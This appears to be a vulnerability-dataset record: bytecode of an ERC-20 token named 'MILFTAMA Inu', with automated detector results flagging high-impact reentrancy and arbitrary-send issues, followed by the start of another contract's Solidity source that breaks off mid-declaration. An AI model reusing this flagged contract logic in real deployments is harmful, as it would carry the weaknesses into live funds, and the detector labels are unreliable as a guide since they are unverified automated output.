0x6080604052600436106101445760003560e01c806370a08231116100b6578063a9fc35a91161006f578063a9fc35a914610457578063c3c8cd8014610494578063c9567bf9146104ab578063db92dbb6146104c2578063dd62ed3e146104ed578063e8078d941461052a5761014b565b806370a0823114610345578063715018a6146103825780638da5cb5b1461039957806395d89b41146103c4578063a9059cbb146103ef578063a985ceef1461042c5761014b565b8063313ce56711610108578063313ce5671461024b57806345596e2e14610276578063522644df1461029f5780635932ead1146102c857806368a3a6a5146102f15780636fc3eaec1461032e5761014b565b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101b857806323b872dd146101e357806327f3a72a146102205761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610541565b6040516101729190613084565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190612b33565b61057e565b6040516101af9190613069565b60405180910390f35b3480156101c457600080fd5b506101cd61059c565b6040516101da91906132a6565b60405180910390f35b3480156101ef57600080fd5b5061020a60048036038101906102059190612ae4565b6105ac565b6040516102179190613069565b60405180910390f35b34801561022c57600080fd5b50610235610685565b60405161024291906132a6565b60405180910390f35b34801561025757600080fd5b50610260610695565b60405161026d919061331b565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190612bc1565b61069e565b005b3480156102ab57600080fd5b506102c660048036038101906102c19190612c39565b610785565b005b3480156102d457600080fd5b506102ef60048036038101906102ea9190612b6f565b6107d8565b005b3480156102fd57600080fd5b5061031860048036038101906103139190612a56565b6108d0565b60405161032591906132a6565b60405180910390f35b34801561033a57600080fd5b50610343610927565b005b34801561035157600080fd5b5061036c60048036038101906103679190612a56565b610999565b60405161037991906132a6565b60405180910390f35b34801561038e57600080fd5b506103976109ea565b005b3480156103a557600080fd5b506103ae610b3d565b6040516103bb9190612f9b565b60405180910390f35b3480156103d057600080fd5b506103d9610b66565b6040516103e69190613084565b60405180910390f35b3480156103fb57600080fd5b5061041660048036038101906104119190612b33565b610ba3565b6040516104239190613069565b60405180910390f35b34801561043857600080fd5b50610441610bc1565b60405161044e9190613069565b60405180910390f35b34801561046357600080fd5b5061047e60048036038101906104799190612a56565b610bd8565b60405161048b91906132a6565b60405180910390f35b3480156104a057600080fd5b506104a9610c2f565b005b3480156104b757600080fd5b506104c0610ca9565b005b3480156104ce57600080fd5b506104d7610d6f565b6040516104e491906132a6565b60405180910390f35b3480156104f957600080fd5b50610514600480360381019061050f9190612aa8565b610da1565b60405161052191906132a6565b60405180910390f35b34801561053657600080fd5b5061053f610e28565b005b60606040518060400160405280600c81526020017f4d494c4654414d4120496e750000000000000000000000000000000000000000815250905090565b600061059261058b611338565b8484611340565b6001905092915050565b6000670de0b6b3a7640000905090565b60006105b984848461150b565b61067a846105c5611338565b61067585604051806060016040528060288152602001613a1260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061062b611338565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3c9092919063ffffffff16565b611340565b600190509392505050565b600061069030610999565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106df611338565b73ffffffffffffffffffffffffffffffffffffffff16146106ff57600080fd5b60338110610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990613166565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161077a91906132a6565b60405180910390a150565b60008160ff16116107cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c290613286565b60405180910390fd5b8060ff1660158190555050565b6107e0611338565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610864906131c6565b60405180910390fd5b80601360156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601360159054906101000a900460ff166040516108c59190613069565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610920919061346c565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610968611338565b73ffffffffffffffffffffffffffffffffffffffff161461098857600080fd5b600047905061099681611ea0565b50565b60006109e3600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f0c565b9050919050565b6109f2611338565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a76906131c6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4d494c4654414d41000000000000000000000000000000000000000000000000815250905090565b6000610bb7610bb0611338565b848461150b565b6001905092915050565b6000601360159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610c28919061346c565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c70611338565b73ffffffffffffffffffffffffffffffffffffffff1614610c9057600080fd5b6000610c9b30610999565b9050610ca681611f7a565b50565b610cb1611338565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d35906131c6565b60405180910390fd5b6001601360146101000a81548160ff0219169083151502179055506101f442610d67919061338b565b601481905550565b6000610d9c601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610999565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e30611338565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ebd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb4906131c6565b60405180910390fd5b601360149054906101000a900460ff1615610f0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0490613246565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f9c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611340565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fe257600080fd5b505afa158015610ff6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101a9190612a7f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561107c57600080fd5b505afa158015611090573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b49190612a7f565b6040518363ffffffff1660e01b81526004016110d1929190612fb6565b602060405180830381600087803b1580156110eb57600080fd5b505af11580156110ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111239190612a7f565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111ac30610999565b6000806111b7610b3d565b426040518863ffffffff1660e01b81526004016111d996959493929190613008565b6060604051808303818588803b1580156111f257600080fd5b505af1158015611206573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061122b9190612bea565b5050506611c37937e0800060108190555042600d81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e2929190612fdf565b602060405180830381600087803b1580156112fc57600080fd5b505af1158015611310573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113349190612b98565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a790613226565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611420576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611417906130e6565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114fe91906132a6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561157b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157290613206565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e2906130a6565b60405180910390fd5b6000811161162e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611625906131e6565b60405180910390fd5b611636610b3d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116a45750611674610b3d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d7957601360159054906101000a900460ff16156117aa57600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff166117a9576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561183457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561189757611841612274565b8161184b84610999565b611855919061338b565b1115611896576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188d90613106565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119425750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119985750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b6557601360149054906101000a900460ff166119ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e390613266565b60405180910390fd5b6009600a81905550601360159054906101000a900460ff1615611afb57426014541115611afa57601054811115611a2257600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9d90613126565b60405180910390fd5b602d42611ab3919061338b565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601360159054906101000a900460ff1615611b6457600f42611b1d919061338b565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611b7030610999565b9050601360169054906101000a900460ff16158015611bdd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bf55750601360149054906101000a900460ff165b15611d7757600f600a81905550601360159054906101000a900460ff1615611c9c5742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611c9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9290613186565b60405180910390fd5b5b6000811115611d5d57611cf76064611ce9600b54611cdb601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610999565b61229c90919063ffffffff16565b61231790919063ffffffff16565b811115611d5357611d506064611d42600b54611d34601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610999565b61229c90919063ffffffff16565b61231790919063ffffffff16565b90505b611d5c81611f7a565b5b60004790506000811115611d7557611d7447611ea0565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e205750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611e2a57600090505b611e3684848484612361565b50505050565b6000838311158290611e84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7b9190613084565b60405180910390fd5b5060008385611e93919061346c565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f08573d6000803e3d6000fd5b5050565b6000600754821115611f53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4a906130c6565b60405180910390fd5b6000611f5d61238e565b9050611f72818461231790919063ffffffff16565b915050919050565b6001601360166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611fd8577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156120065781602001602082028036833780820191505090505b5090503081600081518110612044577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156120e657600080fd5b505afa1580156120fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061211e9190612a7f565b81600181518110612158577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121bf30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611340565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122239594939291906132c1565b600060405180830381600087803b15801561223d57600080fd5b505af1158015612251573d6000803e3d6000fd5b50505050506000601360166101000a81548160ff02191690831515021790555050565b6000606460155461228361059c565b61228d9190613412565b61229791906133e1565b905090565b6000808314156122af5760009050612311565b600082846122bd9190613412565b90508284826122cc91906133e1565b1461230c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612303906131a6565b60405180910390fd5b809150505b92915050565b600061235983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123b9565b905092915050565b8061236f5761236e61241c565b5b61237a84848461245f565b806123885761238761262a565b5b50505050565b600080600061239b61263e565b915091506123b2818361231790919063ffffffff16565b9250505090565b60008083118290612400576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f79190613084565b60405180910390fd5b506000838561240f91906133e1565b9050809150509392505050565b600060095414801561243057506000600a54145b1561243a5761245d565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b6000806000806000806124718761269d565b9550955095509550955095506124cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125b0816127ad565b6125ba848361286a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161261791906132a6565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000670de0b6b3a76400009050612672670de0b6b3a764000060075461231790919063ffffffff16565b82101561269057600754670de0b6b3a7640000935093505050612699565b81819350935050505b9091565b60008060008060008060008060006126ba8a600954600a546128a4565b92509250925060006126ca61238e565b905060008060006126dd8e87878761293a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061274783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e3c565b905092915050565b600080828461275e919061338b565b9050838110156127a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279a90613146565b60405180910390fd5b8091505092915050565b60006127b761238e565b905060006127ce828461229c90919063ffffffff16565b905061282281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61287f8260075461270590919063ffffffff16565b60078190555061289a8160085461274f90919063ffffffff16565b6008819055505050565b6000806000806128d060646128c2888a61229c90919063ffffffff16565b61231790919063ffffffff16565b905060006128fa60646128ec888b61229c90919063ffffffff16565b61231790919063ffffffff16565b9050600061292382612915858c61270590919063ffffffff16565b61270590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612953858961229c90919063ffffffff16565b9050600061296a868961229c90919063ffffffff16565b90506000612981878961229c90919063ffffffff16565b905060006129aa8261299c858761270590919063ffffffff16565b61270590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000813590506129d2816139b5565b92915050565b6000815190506129e7816139b5565b92915050565b6000813590506129fc816139cc565b92915050565b600081519050612a11816139cc565b92915050565b600081359050612a26816139e3565b92915050565b600081519050612a3b816139e3565b92915050565b600081359050612a50816139fa565b92915050565b600060208284031215612a6857600080fd5b6000612a76848285016129c3565b91505092915050565b600060208284031215612a9157600080fd5b6000612a9f848285016129d8565b91505092915050565b60008060408385031215612abb57600080fd5b6000612ac9858286016129c3565b9250506020612ada858286016129c3565b9150509250929050565b600080600060608486031215612af957600080fd5b6000612b07868287016129c3565b9350506020612b18868287016129c3565b9250506040612b2986828701612a17565b9150509250925092565b60008060408385031215612b4657600080fd5b6000612b54858286016129c3565b9250506020612b6585828601612a17565b9150509250929050565b600060208284031215612b8157600080fd5b6000612b8f848285016129ed565b91505092915050565b600060208284031215612baa57600080fd5b6000612bb884828501612a02565b91505092915050565b600060208284031215612bd357600080fd5b6000612be184828501612a17565b91505092915050565b600080600060608486031215612bff57600080fd5b6000612c0d86828701612a2c565b9350506020612c1e86828701612a2c565b9250506040612c2f86828701612a2c565b9150509250925092565b600060208284031215612c4b57600080fd5b6000612c5984828501612a41565b91505092915050565b6000612c6e8383612c7a565b60208301905092915050565b612c83816134a0565b82525050565b612c92816134a0565b82525050565b6000612ca382613346565b612cad8185613369565b9350612cb883613336565b8060005b83811015612ce9578151612cd08882612c62565b9750612cdb8361335c565b925050600181019050612cbc565b5085935050505092915050565b612cff816134b2565b82525050565b612d0e816134f5565b82525050565b6000612d1f82613351565b612d29818561337a565b9350612d39818560208601613507565b612d4281613598565b840191505092915050565b6000612d5a60238361337a565b9150612d65826135a9565b604082019050919050565b6000612d7d602a8361337a565b9150612d88826135f8565b604082019050919050565b6000612da060228361337a565b9150612dab82613647565b604082019050919050565b6000612dc360198361337a565b9150612dce82613696565b602082019050919050565b6000612de660228361337a565b9150612df1826136bf565b604082019050919050565b6000612e09601b8361337a565b9150612e148261370e565b602082019050919050565b6000612e2c60158361337a565b9150612e3782613737565b602082019050919050565b6000612e4f60238361337a565b9150612e5a82613760565b604082019050919050565b6000612e7260218361337a565b9150612e7d826137af565b604082019050919050565b6000612e9560208361337a565b9150612ea0826137fe565b602082019050919050565b6000612eb860298361337a565b9150612ec382613827565b604082019050919050565b6000612edb60258361337a565b9150612ee682613876565b604082019050919050565b6000612efe60248361337a565b9150612f09826138c5565b604082019050919050565b6000612f2160178361337a565b9150612f2c82613914565b602082019050919050565b6000612f4460188361337a565b9150612f4f8261393d565b602082019050919050565b6000612f6760258361337a565b9150612f7282613966565b604082019050919050565b612f86816134de565b82525050565b612f95816134e8565b82525050565b6000602082019050612fb06000830184612c89565b92915050565b6000604082019050612fcb6000830185612c89565b612fd86020830184612c89565b9392505050565b6000604082019050612ff46000830185612c89565b6130016020830184612f7d565b9392505050565b600060c08201905061301d6000830189612c89565b61302a6020830188612f7d565b6130376040830187612d05565b6130446060830186612d05565b6130516080830185612c89565b61305e60a0830184612f7d565b979650505050505050565b600060208201905061307e6000830184612cf6565b92915050565b6000602082019050818103600083015261309e8184612d14565b905092915050565b600060208201905081810360008301526130bf81612d4d565b9050919050565b600060208201905081810360008301526130df81612d70565b9050919050565b600060208201905081810360008301526130ff81612d93565b9050919050565b6000602082019050818103600083015261311f81612db6565b9050919050565b6000602082019050818103600083015261313f81612dd9565b9050919050565b6000602082019050818103600083015261315f81612dfc565b9050919050565b6000602082019050818103600083015261317f81612e1f565b9050919050565b6000602082019050818103600083015261319f81612e42565b9050919050565b600060208201905081810360008301526131bf81612e65565b9050919050565b600060208201905081810360008301526131df81612e88565b9050919050565b600060208201905081810360008301526131ff81612eab565b9050919050565b6000602082019050818103600083015261321f81612ece565b9050919050565b6000602082019050818103600083015261323f81612ef1565b9050919050565b6000602082019050818103600083015261325f81612f14565b9050919050565b6000602082019050818103600083015261327f81612f37565b9050919050565b6000602082019050818103600083015261329f81612f5a565b9050919050565b60006020820190506132bb6000830184612f7d565b92915050565b600060a0820190506132d66000830188612f7d565b6132e36020830187612d05565b81810360408301526132f58186612c98565b90506133046060830185612c89565b6133116080830184612f7d565b9695505050505050565b60006020820190506133306000830184612f8c565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613396826134de565b91506133a1836134de565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133d6576133d561353a565b5b828201905092915050565b60006133ec826134de565b91506133f7836134de565b92508261340757613406613569565b5b828204905092915050565b600061341d826134de565b9150613428836134de565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134615761346061353a565b5b828202905092915050565b6000613477826134de565b9150613482836134de565b9250828210156134955761349461353a565b5b828203905092915050565b60006134ab826134be565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613500826134de565b9050919050565b60005b8381101561352557808201518184015260208101905061350a565b83811115613534576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d617820686f6c64696e67206361702062726561636865642e00000000000000600082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b7f4d617820686f6c64696e67206361702063616e6e6f74206265206c657373207460008201527f68616e2031000000000000000000000000000000000000000000000000000000602082015250565b6139be816134a0565b81146139c957600080fd5b50565b6139d5816134b2565b81146139e057600080fd5b50565b6139ec816134de565b81146139f757600080fd5b50565b613a03816134e8565b8114613a0e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207c4ac7e5c234f41ea2a6b7772cb135f376634dfe0adf7b5772de0481c330a8a264736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,052
0xaf44786a03b31309bc53a81164428f5f76f4ef5b
/** *Submitted for verification at Etherscan.io on 2021-06-02 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed 